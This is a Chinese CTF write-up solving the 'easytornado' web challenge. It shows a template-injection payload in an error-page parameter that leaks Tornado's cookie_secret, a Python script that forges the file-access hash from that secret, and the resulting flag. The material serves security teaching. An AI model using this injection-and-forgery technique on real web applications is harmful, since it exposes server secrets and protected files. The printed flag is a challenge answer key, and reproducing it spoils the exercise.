天天看點

攻防世界:easytornado

題目點開存在三個檔案

攻防世界:easytornado

/flag.txt提醒我們flag存在的位置

flag in /fllllllllllllag

/welcome.txt提醒render,render({options}) 猜測存在模闆注入

/hints.txt提醒

md5(cookie_secret+md5(filename))

即先将

filename

md5加密,再将

cookie_secret

與md5加密後的

filename

進行md5加密,目前我們需要知道的是

filename

cookie_secret

,猜測檔案名為

/fllllllllllag

,也就是說,隻要知道

cookie_secret

就行了。

通路檔案的url中

攻防世界:easytornado

要通過filehash進行通路

嘗試通路/fllllllllllag,發現存在錯誤頁面

攻防世界:easytornado

頁面存在msg,嘗試

攻防世界:easytornado

證明存在模闆注入漏洞

通過查閱文檔發現cookie_secret在Application對象settings屬性中,還發現self.application.settings有一個别名:

handler指向的處理目前這個頁面的RequestHandler對象,

RequestHandler.settings指向self.application.settings,

是以handler.settings指向RequestHandler.application.settings。

構造payload:

/error?msg={{handler.settings}}
           

得到cookie_secret

攻防世界:easytornado
5e454feb-3c1e-4920-ab21-fac30bd8bfc6
           

利用腳本構造

可利用線上網站進行編譯

python線上網站

import hashlib

def md5(s):
 md5 = hashlib.md5() 
 md5.update(s) 
 return md5.hexdigest()
 
def filehash():
 filename = '/fllllllllllllag'
 cookie_secret = '5e454feb-3c1e-4920-ab21-fac30bd8bfc6'
 print(md5(cookie_secret+md5(filename)))
 
if __name__ == '__main__':
 filehash()
           

構造payload

/file?filename=/fllllllllllllag&filehash=519e1f4f0e635af43559dca0f6c6f686
           

得到flag

攻防世界:easytornado

Flag

flag{3f39aea39db345769397ae895edb9c70}